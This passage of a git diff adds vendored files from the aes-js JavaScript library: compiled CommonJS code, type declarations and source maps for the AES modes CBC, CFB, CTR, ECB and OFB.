+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../src.ts/index.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,GAAG,EAAE,MAAM,UAAU,CAAC;AAE/B,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AACpC,OAAO,EAAE,GAAG,EAAE,MAAM,eAAe,CAAC;AAEpC,OAAO,EAAE,QAAQ,EAAE,UAAU,EAAE,MAAM,cAAc,CAAC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/index.js b/node_modules/aes-js/lib.commonjs/index.js new file mode 100644 index 000000000000..fc5e43193ae8 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/index.js @@ -0,0 +1,21 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.pkcs7Strip = exports.pkcs7Pad = exports.OFB = exports.ECB = exports.CTR = exports.CFB = exports.CBC = exports.ModeOfOperation = exports.AES = void 0; +var aes_js_1 = require("./aes.js"); +Object.defineProperty(exports, "AES", { enumerable: true, get: function () { return aes_js_1.AES; } }); +var mode_js_1 = require("./mode.js"); +Object.defineProperty(exports, "ModeOfOperation", { enumerable: true, get: function () { return mode_js_1.ModeOfOperation; } }); +var mode_cbc_js_1 = require("./mode-cbc.js"); +Object.defineProperty(exports, "CBC", { enumerable: true, get: function () { return mode_cbc_js_1.CBC; } }); +var mode_cfb_js_1 = require("./mode-cfb.js"); +Object.defineProperty(exports, "CFB", { enumerable: true, get: function () { return mode_cfb_js_1.CFB; } }); +var mode_ctr_js_1 = require("./mode-ctr.js"); +Object.defineProperty(exports, "CTR", { enumerable: true, get: function () { return mode_ctr_js_1.CTR; } }); +var mode_ecb_js_1 = require("./mode-ecb.js"); +Object.defineProperty(exports, "ECB", { enumerable: true, get: function () { return mode_ecb_js_1.ECB; } }); +var mode_ofb_js_1 = require("./mode-ofb.js"); +Object.defineProperty(exports, "OFB", { enumerable: true, get: function () { return mode_ofb_js_1.OFB; } }); +var padding_js_1 = require("./padding.js"); +Object.defineProperty(exports, "pkcs7Pad", { enumerable: true, get: function () { return padding_js_1.pkcs7Pad; } }); +Object.defineProperty(exports, "pkcs7Strip", { enumerable: true, get: function () { return padding_js_1.pkcs7Strip; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/index.js.map b/node_modules/aes-js/lib.commonjs/index.js.map new file mode 100644 index 000000000000..c363b7940a66 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../src.ts/index.ts"],"names":[],"mappings":";;;AAAA,mCAA+B;AAAtB,6FAAA,GAAG,OAAA;AAEZ,qCAA4C;AAAnC,0GAAA,eAAe,OAAA;AAExB,6CAAoC;AAA3B,kGAAA,GAAG,OAAA;AACZ,6CAAoC;AAA3B,kGAAA,GAAG,OAAA;AACZ,6CAAoC;AAA3B,kGAAA,GAAG,OAAA;AACZ,6CAAoC;AAA3B,kGAAA,GAAG,OAAA;AACZ,6CAAoC;AAA3B,kGAAA,GAAG,OAAA;AAEZ,2CAAoD;AAA3C,sGAAA,QAAQ,OAAA;AAAE,wGAAA,UAAU,OAAA"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-cbc.d.ts b/node_modules/aes-js/lib.commonjs/mode-cbc.d.ts new file mode 100644 index 000000000000..0ec7fae57411 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-cbc.d.ts @@ -0,0 +1,9 @@ +import { ModeOfOperation } from "./mode.js"; +export declare class CBC extends ModeOfOperation { + #private; + constructor(key: Uint8Array, iv?: Uint8Array); + get iv(): Uint8Array; + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode-cbc.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-cbc.d.ts.map b/node_modules/aes-js/lib.commonjs/mode-cbc.d.ts.map new file mode 100644 index 000000000000..60cb871dd718 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-cbc.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-cbc.d.ts","sourceRoot":"","sources":["../src.ts/mode-cbc.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,qBAAa,GAAI,SAAQ,eAAe;;gBAI1B,GAAG,EAAE,UAAU,EAAE,EAAE,CAAC,EAAE,UAAU;IAe5C,IAAI,EAAE,IAAI,UAAU,CAAqC;IAEzD,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAkB1C,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CAiB5C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-cbc.js b/node_modules/aes-js/lib.commonjs/mode-cbc.js new file mode 100644 index 000000000000..e9873c84fc67 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-cbc.js @@ -0,0 +1,66 @@ +"use strict"; +// Cipher Block Chaining +var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var _CBC_iv, _CBC_lastBlock; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.CBC = void 0; +const mode_js_1 = require("./mode.js"); +class CBC extends mode_js_1.ModeOfOperation { + constructor(key, iv) { + super("ECC", key, CBC); + _CBC_iv.set(this, void 0); + _CBC_lastBlock.set(this, void 0); + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + __classPrivateFieldSet(this, _CBC_iv, new Uint8Array(iv), "f"); + } + else { + __classPrivateFieldSet(this, _CBC_iv, new Uint8Array(16), "f"); + } + __classPrivateFieldSet(this, _CBC_lastBlock, this.iv, "f"); + } + get iv() { return new Uint8Array(__classPrivateFieldGet(this, _CBC_iv, "f")); } + encrypt(plaintext) { + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + const ciphertext = new Uint8Array(plaintext.length); + for (let i = 0; i < plaintext.length; i += 16) { + for (let j = 0; j < 16; j++) { + __classPrivateFieldGet(this, _CBC_lastBlock, "f")[j] ^= plaintext[i + j]; + } + __classPrivateFieldSet(this, _CBC_lastBlock, this.aes.encrypt(__classPrivateFieldGet(this, _CBC_lastBlock, "f")), "f"); + ciphertext.set(__classPrivateFieldGet(this, _CBC_lastBlock, "f"), i); + } + return ciphertext; + } + decrypt(ciphertext) { + if (ciphertext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + const plaintext = new Uint8Array(ciphertext.length); + for (let i = 0; i < ciphertext.length; i += 16) { + const block = this.aes.decrypt(ciphertext.subarray(i, i + 16)); + for (let j = 0; j < 16; j++) { + plaintext[i + j] = block[j] ^ __classPrivateFieldGet(this, _CBC_lastBlock, "f")[j]; + __classPrivateFieldGet(this, _CBC_lastBlock, "f")[j] = ciphertext[i + j]; + } + } + return plaintext; + } +} +exports.CBC = CBC; +_CBC_iv = new WeakMap(), _CBC_lastBlock = new WeakMap(); +//# sourceMappingURL=mode-cbc.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-cbc.js.map b/node_modules/aes-js/lib.commonjs/mode-cbc.js.map new file mode 100644 index 000000000000..76e188eeb739 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-cbc.js.map @@ -0,0 +1 @@ +{"version":3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AI,CAAC,GAAG,CAAC,OAAO,CAAC,uBAAA,IAAI,sBAAW,CAAC,MAAA,CAAC;YACpD,UAAU,CAAC,GAAG,CAAC,uBAAA,IAAI,sBAAW,EAAE,CAAC,CAAC,CAAC;SACpC;QAED,OAAO,UAAU,CAAC;IACpB,CAAC;IAED,OAAO,CAAC,UAAsB;QAC5B,IAAI,UAAU,CAAC,MAAM,GAAG,EAAE,EAAE;YACxB,MAAM,IAAI,SAAS,CAAC,wDAAwD,CAAC,CAAC;SACjF;QAED,MAAM,SAAS,GAAG,IAAI,UAAU,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC;QACpD,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,UAAU,CAAC,MAAM,EAAE,CAAC,IAAI,EAAE,EAAE;YAC5C,MAAM,KAAK,GAAG,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,UAAU,CAAC,QAAQ,CAAC,CAAC,EAAE,CAAC,GAAG,EAAE,CAAC,CAAC,CAAC;YAE/D,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,EAAE,EAAE,CAAC,EAAE,EAAE;gBAC3B,SAAS,CAAC,CAAC,GAAG,CAAC,CAAC,GAAG,KAAK,CAAC,CAAC,CAAC,GAAG,uBAAA,IAAI,sBAAW,CAAC,CAAC,CAAC,CAAC;gBACjD,uBAAA,IAAI,sBAAW,CAAC,CAAC,CAAC,GAAG,UAAU,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC;aACxC;SACJ;QAED,OAAO,SAAS,CAAC;IACnB,CAAC;CACF;AAxDD,kBAwDC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-cfb.d.ts b/node_modules/aes-js/lib.commonjs/mode-cfb.d.ts new file mode 100644 index 000000000000..86d0ea3e36ab --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-cfb.d.ts @@ -0,0 +1,10 @@ +import { ModeOfOperation } from "./mode.js"; +export declare class CFB extends ModeOfOperation { + #private; + readonly segmentSize: number; + constructor(key: Uint8Array, iv?: Uint8Array, segmentSize?: number); + get iv(): Uint8Array; + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode-cfb.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-cfb.d.ts.map b/node_modules/aes-js/lib.commonjs/mode-cfb.d.ts.map new file mode 100644 index 000000000000..7e08a59f4ffc --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-cfb.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-cfb.d.ts","sourceRoot":"","sources":["../src.ts/mode-cfb.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,qBAAa,GAAI,SAAQ,eAAe;;IAItC,QAAQ,CAAC,WAAW,EAAG,MAAM,CAAC;gBAElB,GAAG,EAAE,UAAU,EAAE,EAAE,CAAC,EAAE,UAAU,EAAE,WAAW,GAAE,MAAU;IAwBrE,IAAI,EAAE,IAAI,UAAU,CAAqC;IAUzD,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAqB1C,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CAoB5C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-cfb.js b/node_modules/aes-js/lib.commonjs/mode-cfb.js new file mode 100644 index 000000000000..8dd6b43adced --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-cfb.js @@ -0,0 +1,81 @@ +"use strict"; +// Cipher Feedback +var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var _CFB_instances, _CFB_iv, _CFB_shiftRegister, _CFB_shift; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.CFB = void 0; +const mode_js_1 = require("./mode.js"); +class CFB extends mode_js_1.ModeOfOperation { + constructor(key, iv, segmentSize = 8) { + super("CFB", key, CFB); + _CFB_instances.add(this); + _CFB_iv.set(this, void 0); + _CFB_shiftRegister.set(this, void 0); + // This library currently only handles byte-aligned segmentSize + if (!Number.isInteger(segmentSize) || (segmentSize % 8)) { + throw new TypeError("invalid segmentSize"); + } + Object.defineProperties(this, { + segmentSize: { enumerable: true, value: segmentSize } + }); + if (iv) { + if (iv.length % 16) { + throw new TypeError("invalid iv size (must be 16 bytes)"); + } + __classPrivateFieldSet(this, _CFB_iv, new Uint8Array(iv), "f"); + } + else { + __classPrivateFieldSet(this, _CFB_iv, new Uint8Array(16), "f"); + } + __classPrivateFieldSet(this, _CFB_shiftRegister, this.iv, "f"); + } + get iv() { return new Uint8Array(__classPrivateFieldGet(this, _CFB_iv, "f")); } + encrypt(plaintext) { + if (8 * plaintext.length % this.segmentSize) { + throw new TypeError("invalid plaintext size (must be multiple of segmentSize bytes)"); + } + const segmentSize = this.segmentSize / 8; + const ciphertext = new Uint8Array(plaintext); + for (let i = 0; i < ciphertext.length; i += segmentSize) { + const xorSegment = this.aes.encrypt(__classPrivateFieldGet(this, _CFB_shiftRegister, "f")); + for (let j = 0; j < segmentSize; j++) { + ciphertext[i + j] ^= xorSegment[j]; + } + __classPrivateFieldGet(this, _CFB_instances, "m", _CFB_shift).call(this, ciphertext.subarray(i)); + } + return ciphertext; + } + decrypt(ciphertext) { + if (8 * ciphertext.length % this.segmentSize) { + throw new TypeError("invalid ciphertext size (must be multiple of segmentSize bytes)"); + } + const segmentSize = this.segmentSize / 8; + const plaintext = new Uint8Array(ciphertext); + for (let i = 0; i < plaintext.length; i += segmentSize) { + const xorSegment = this.aes.encrypt(__classPrivateFieldGet(this, _CFB_shiftRegister, "f")); + for (let j = 0; j < segmentSize; j++) { + plaintext[i + j] ^= xorSegment[j]; + } + __classPrivateFieldGet(this, _CFB_instances, "m", _CFB_shift).call(this, ciphertext.subarray(i)); + } + return plaintext; + } +} +exports.CFB = CFB; +_CFB_iv = new WeakMap(), _CFB_shiftRegister = new WeakMap(), _CFB_instances = new WeakSet(), _CFB_shift = function _CFB_shift(data) { + const segmentSize = this.segmentSize / 8; + // Shift the register + __classPrivateFieldGet(this, _CFB_shiftRegister, "f").set(__classPrivateFieldGet(this, _CFB_shiftRegister, "f").subarray(segmentSize)); + __classPrivateFieldGet(this, _CFB_shiftRegister, "f").set(data.subarray(0, segmentSize), 16 - segmentSize); +}; +//# sourceMappingURL=mode-cfb.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-cfb.js.map b/node_modules/aes-js/lib.commonjs/mode-cfb.js.map new file mode 100644 index 000000000000..af431d9050e1 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-cfb.js.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-cfb.js","sourceRoot":"","sources":["../src.ts/mode-cfb.ts"],"names":[],"mappings":";AAAA,kBAAkB;;;;;;;;;;;;;;;AAElB,uCAA4C;AAE5C,MAAa,GAAI,SAAQ,yBAAe;IAMtC,YAAY,GAAe,EAAE,EAAe,EAAE,cAAsB,CAAC;QACnE,KAAK,CAAC,KAAK,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC;;QANzB,0BAAgB;QAChB,qCAA2B;QAOzB,+DAA+D;QAC/D,IAAI,CAAC,MAAM,CAAC,SAAS,CAAC,WAAW,CAAC,IAAI,C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I,0BAAe,CAAC,GAAG,CAAC,IAAI,CAAC,QAAQ,CAAC,CAAC,EAAE,WAAW,CAAC,EAAE,EAAE,GAAG,WAAW,CAAC,CAAC;AAC3E,CAAC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ctr.d.ts b/node_modules/aes-js/lib.commonjs/mode-ctr.d.ts new file mode 100644 index 000000000000..fda6de3cdec0 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-ctr.d.ts @@ -0,0 +1,12 @@ +import { ModeOfOperation } from "./mode.js"; +export declare class CTR extends ModeOfOperation { + #private; + constructor(key: Uint8Array, initialValue?: number | Uint8Array); + get counter(): Uint8Array; + setCounterValue(value: number): void; + setCounterBytes(value: Uint8Array): void; + increment(): void; + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode-ctr.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ctr.d.ts.map b/node_modules/aes-js/lib.commonjs/mode-ctr.d.ts.map new file mode 100644 index 000000000000..604f481fa5ef --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-ctr.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-ctr.d.ts","sourceRoot":"","sources":["../src.ts/mode-ctr.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,qBAAa,GAAI,SAAQ,eAAe;;gBAS1B,GAAG,EAAE,UAAU,EAAE,YAAY,CAAC,EAAE,MAAM,GAAG,UAAU;IAkB/D,IAAI,OAAO,IAAI,UAAU,CAA0C;IAEnE,eAAe,CAAC,KAAK,EAAE,MAAM,GAAG,IAAI;IAWpC,eAAe,CAAC,KAAK,EAAE,UAAU,GAAG,IAAI;IAQxC,SAAS;IAWT,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAe1C,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CAG5C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ctr.js b/node_modules/aes-js/lib.commonjs/mode-ctr.js new file mode 100644 index 000000000000..a1f9bbf67111 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-ctr.js @@ -0,0 +1,86 @@ +"use strict"; +// Counter Mode +var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, state, value, kind, f) { + if (kind === "m") throw new TypeError("Private method is not writable"); + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it"); + return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value; +}; +var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, state, kind, f) { + if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter"); + if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it"); + return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver); +}; +var _CTR_remaining, _CTR_remainingIndex, _CTR_counter; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.CTR = void 0; +const mode_js_1 = require("./mode.js"); +class CTR extends mode_js_1.ModeOfOperation { + constructor(key, initialValue) { + super("CTR", key, CTR); + // Remaining bytes for the one-time pad + _CTR_remaining.set(this, void 0); + _CTR_remainingIndex.set(this, void 0); + // The current counter + _CTR_counter.set(this, void 0); + __classPrivateFieldSet(this, _CTR_counter, new Uint8Array(16), "f"); + __classPrivateFieldGet(this, _CTR_counter, "f").fill(0); + __classPrivateFieldSet(this, _CTR_remaining, __classPrivateFieldGet(this, _CTR_counter, "f"), "f"); // This will be discarded immediately + __classPrivateFieldSet(this, _CTR_remainingIndex, 16, "f"); + if (initialValue == null) { + initialValue = 1; + } + if (typeof (initialValue) === "number") { + this.setCounterValue(initialValue); + } + else { + this.setCounterBytes(initialValue); + } + } + get counter() { return new Uint8Array(__classPrivateFieldGet(this, _CTR_counter, "f")); } + setCounterValue(value) { + if (!Number.isInteger(value) || value < 0 || value > Number.MAX_SAFE_INTEGER) { + throw new TypeError("invalid counter initial integer value"); + } + for (let index = 15; index >= 0; --index) { + __classPrivateFieldGet(this, _CTR_counter, "f")[index] = value % 256; + value = Math.floor(value / 256); + } + } + setCounterBytes(value) { + if (value.length !== 16) { + throw new TypeError("invalid counter initial Uint8Array value length"); + } + __classPrivateFieldGet(this, _CTR_counter, "f").set(value); + } + increment() { + for (let i = 15; i >= 0; i--) { + if (__classPrivateFieldGet(this, _CTR_counter, "f")[i] === 255) { + __classPrivateFieldGet(this, _CTR_counter, "f")[i] = 0; + } + else { + __classPrivateFieldGet(this, _CTR_counter, "f")[i]++; + break; + } + } + } + encrypt(plaintext) { + var _a, _b; + const crypttext = new Uint8Array(plaintext); + for (let i = 0; i < crypttext.length; i++) { + if (__classPrivateFieldGet(this, _CTR_remainingIndex, "f") === 16) { + __classPrivateFieldSet(this, _CTR_remaining, this.aes.encrypt(__classPrivateFieldGet(this, _CTR_counter, "f")), "f"); + __classPrivateFieldSet(this, _CTR_remainingIndex, 0, "f"); + this.increment(); + } + crypttext[i] ^= __classPrivateFieldGet(this, _CTR_remaining, "f")[__classPrivateFieldSet(this, _CTR_remainingIndex, (_b = __classPrivateFieldGet(this, _CTR_remainingIndex, "f"), _a = _b++, _b), "f"), _a]; + } + return crypttext; + } + decrypt(ciphertext) { + return this.encrypt(ciphertext); + } +} +exports.CTR = CTR; +_CTR_remaining = new WeakMap(), _CTR_remainingIndex = new WeakMap(), _CTR_counter = new WeakMap(); +//# sourceMappingURL=mode-ctr.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ctr.js.map b/node_modules/aes-js/lib.commonjs/mode-ctr.js.map new file mode 100644 index 000000000000..63f370ee160b --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-ctr.js.map @@ -0,0 +1 @@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AAC,CAAC;SACzD;QAED,OAAO,SAAS,CAAC;IACnB,CAAC;IAED,OAAO,CAAC,UAAsB;QAC5B,OAAO,IAAI,CAAC,OAAO,CAAC,UAAU,CAAC,CAAC;IAClC,CAAC;CACF;AA7ED,kBA6EC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ecb.d.ts b/node_modules/aes-js/lib.commonjs/mode-ecb.d.ts new file mode 100644 index 000000000000..0ca6eee3b774 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-ecb.d.ts @@ -0,0 +1,7 @@ +import { ModeOfOperation } from "./mode.js"; +export declare class ECB extends ModeOfOperation { + constructor(key: Uint8Array); + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(crypttext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode-ecb.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ecb.d.ts.map b/node_modules/aes-js/lib.commonjs/mode-ecb.d.ts.map new file mode 100644 index 000000000000..7229be700010 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-ecb.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-ecb.d.ts","sourceRoot":"","sources":["../src.ts/mode-ecb.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,qBAAa,GAAI,SAAQ,eAAe;gBAE1B,GAAG,EAAE,UAAU;IAI3B,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAa1C,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;CAY3C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ecb.js b/node_modules/aes-js/lib.commonjs/mode-ecb.js new file mode 100644 index 000000000000..e450c9bbd779 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-ecb.js @@ -0,0 +1,32 @@ +"use strict"; +// Electronic Code Book +Object.defineProperty(exports, "__esModule", { value: true }); +exports.ECB = void 0; +const mode_js_1 = require("./mode.js"); +class ECB extends mode_js_1.ModeOfOperation { + constructor(key) { + super("ECB", key, ECB); + } + encrypt(plaintext) { + if (plaintext.length % 16) { + throw new TypeError("invalid plaintext size (must be multiple of 16 bytes)"); + } + const crypttext = new Uint8Array(plaintext.length); + for (let i = 0; i < plaintext.length; i += 16) { + crypttext.set(this.aes.encrypt(plaintext.subarray(i, i + 16)), i); + } + return crypttext; + } + decrypt(crypttext) { + if (crypttext.length % 16) { + throw new TypeError("invalid ciphertext size (must be multiple of 16 bytes)"); + } + const plaintext = new Uint8Array(crypttext.length); + for (let i = 0; i < crypttext.length; i += 16) { + plaintext.set(this.aes.decrypt(crypttext.subarray(i, i + 16)), i); + } + return plaintext; + } +} +exports.ECB = ECB; +//# sourceMappingURL=mode-ecb.js.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ecb.js.map b/node_modules/aes-js/lib.commonjs/mode-ecb.js.map new file mode 100644 index 000000000000..1c7a03b4c9b5 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-ecb.js.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-ecb.js","sourceRoot":"","sources":["../src.ts/mode-ecb.ts"],"names":[],"mappings":";AAAA,uBAAuB;;;AAEvB,uCAA4C;AAE5C,MAAa,GAAI,SAAQ,yBAAe;IAEtC,YAAY,GAAe;QACzB,KAAK,CAAC,KAAK,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC;IACzB,CAAC;IAED,OAAO,CAAC,SAAqB;QAC3B,IAAI,SAAS,CAAC,MAAM,GAAG,EAAE,EAAE;YACvB,MAAM,IAAI,SAAS,CAAC,uDAAuD,CAAC,CAAC;SAChF;QAED,MAAM,SAAS,GAAG,IAAI,UAAU,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;QACnD,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,SAAS,CAAC,MAAM,EAAE,CAAC,IAAI,EAAE,EAAE;YAC3C,SAAS,CAAC,GAAG,CAAC,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC,EAAE,CAAC,GAAG,EAAE,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC;SACrE;QAED,OAAO,SAAS,CAAC;IACnB,CAAC;IAED,OAAO,CAAC,SAAqB;QAC3B,IAAI,SAAS,CAAC,MAAM,GAAG,EAAE,EAAE;YACvB,MAAM,IAAI,SAAS,CAAC,wDAAwD,CAAC,CAAC;SACjF;QAED,MAAM,SAAS,GAAG,IAAI,UAAU,CAAC,SAAS,CAAC,MAAM,CAAC,CAAC;QACnD,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,SAAS,CAAC,MAAM,EAAE,CAAC,IAAI,EAAE,EAAE;YAC3C,SAAS,CAAC,GAAG,CAAC,IAAI,CAAC,GAAG,CAAC,OAAO,CAAC,SAAS,CAAC,QAAQ,CAAC,CAAC,EAAE,CAAC,GAAG,EAAE,CAAC,CAAC,EAAE,CAAC,CAAC,CAAC;SACrE;QAED,OAAO,SAAS,CAAC;IACnB,CAAC;CACF;AA/BD,kBA+BC"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ofb.d.ts b/node_modules/aes-js/lib.commonjs/mode-ofb.d.ts new file mode 100644 index 000000000000..a62d0b415ea5 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-ofb.d.ts @@ -0,0 +1,9 @@ +import { ModeOfOperation } from "./mode.js"; +export declare class OFB extends ModeOfOperation { + #private; + constructor(key: Uint8Array, iv?: Uint8Array); + get iv(): Uint8Array; + encrypt(plaintext: Uint8Array): Uint8Array; + decrypt(ciphertext: Uint8Array): Uint8Array; +} +//# sourceMappingURL=mode-ofb.d.ts.map \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ofb.d.ts.map b/node_modules/aes-js/lib.commonjs/mode-ofb.d.ts.map new file mode 100644 index 000000000000..ac15036a9850 --- /dev/null +++ b/node_modules/aes-js/lib.commonjs/mode-ofb.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"mode-ofb.d.ts","sourceRoot":"","sources":["../src.ts/mode-ofb.ts"],"names":[],"mappings":"AAEA,OAAO,EAAE,eAAe,EAAE,MAAM,WAAW,CAAC;AAE5C,qBAAa,GAAI,SAAQ,eAAe;;gBAK1B,GAAG,EAAE,UAAU,EAAE,EAAE,CAAC,EAAE,UAAU;IAgB5C,IAAI,EAAE,IAAI,UAAU,CAAqC;IAEzD,OAAO,CAAC,SAAS,EAAE,UAAU,GAAG,UAAU;IAiB1C,OAAO,CAAC,UAAU,EAAE,UAAU,GAAG,UAAU;CAM5C"} \ No newline at end of file diff --git a/node_modules/aes-js/lib.commonjs/mode-ofb.js b/node_modules/aes-js/lib.commonjs/mode-ofb.js new file mode 100644 index 000000000000..787d7c0119ca --- /dev/null +++ 